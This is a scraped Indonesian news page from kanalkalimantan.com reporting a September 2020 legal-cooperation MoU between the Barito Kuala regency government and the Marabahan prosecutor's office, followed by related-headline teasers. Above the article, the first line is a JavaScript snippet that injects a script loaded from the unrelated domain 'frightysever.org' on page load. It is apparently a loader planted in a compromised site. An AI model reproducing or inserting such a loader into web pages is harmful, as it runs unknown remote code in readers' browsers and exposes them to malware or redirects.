(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN – Pemerintah Kabupaten Barito Kuala (Pemkab Batola) bersama Kejaksaan Negeri (Kejari) Marabahan melakukan perjanjian kerjasama penanganan masalah hukum bidang perdata dan tata usaha negara (TUN).
Bupati Batola Hj Noormiliyani AS dan Kepala Kejaksaan Negeri (Kajari) Marabahan La Kanna melakukan penandatanganan perjanjian kerjasama nota kesepahaman (MoU) di ruang pertemuan Bupati Batola, Rabu (23/9/2020).
Pelaksanaan nota kesepahaman kerjasama penanganan masalah hukum ini dihadiri Pj Sekdakab Batola H Abdul Manaf, Kabag Hukum Setda Batola Wahyudie, dan Kabag Humpro Hery Sasmita. Pejabat lingkup Kejari Marabahan diantaranya Kasi Intel Martin Eko Priyanto, Kasi Pidum Andita Rizkianto, Kasi Datun Gusti M Khahfi Alamsyah, Kasi Barang Bukti Ulfa Aminuddin.
Kajari Marabahan La Kanna mengatakan, kerjasama penanganan masalah hukum yang dilaksanakan ini menandakan Pemkab dan Kejari selalu bersinergi dalam merealisasikan kebaikan bersama. Ia menambahkan, MoU yang dilakukan merupakan manifestasi dari Undang-Undang Kejaksaan Nomor 16 Tahun 2004. Pasal 2 dimana pada ayat 1 menyatakan kejaksaan berwenang melaksanakan kekuasaan negara dalam bidang penuntutan. Serta kewenangan lain, berwenang dalam penanganan perdata dan TUN (ayat 2), serta dalam peningkatan dan kesadaran hukum masyarakat (ayat 3).
Menyangkut kerjasama penanganan masalah hukum perdata dan TUN, menurut La Kanna, dalam penjabarannya terdapat penegakan hukum, peningkatan hukum, atau pun pelayanan publik. Sementara terhadap peningkatan dan kesadaran hukum masyarakat sesuai ayat 3 UU Kejaksaan 16/2004 sebagaimana yang diharapkan dalam perjanjian kerjasama
La Kanna mengatakan pihaknya akan melakukan sosialisasi agar masyarakat termasuk jajaran ASN nantinya bisa memahami dan mentaati segala ketentuan hukum dalam bidang apa saja. Termasuk sektor pertanian, peternakan, pertambangan, dan lainnya.
Kajari Marabahan mengutarakan, sebenarnya pihaknya memiliki program sosialisasi seperti program jaksa masuk sekolah, jaksa masuk madrasah, dan jaksa menyapa. Namun tahun 2020 ini terpaksa ditiadakan akibat pandemi Covid-19. Karenanya ia berharap pandemi segera berlalu agar program-program yang telah dicanangkan pemerintah bisa kembali dijalankan.
Bupati Batola Hj Noormiliyani AS menyatakan sangat mengapresiasi kegiatan yang digagas Bagian Hukum Setda Batola ini. Ia menilai kerjasama penanganan masalah hukum, saat ini penting. Untuk itu mantan Ketua DPRD Provinsi itu mengharapkan kerjasama yang dilaksanakan tak sebatas bidang perdata dan TUN namun juga bidang lainnya.
“Saya berharap mudah-mudahan ini bisa kita disinergikan supaya tidak salah langkah yang menyebabkan terjadinya hal-hal yang tak kita diinginkan bersama,†katanya. (kanalkalimantan.com/rdy)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.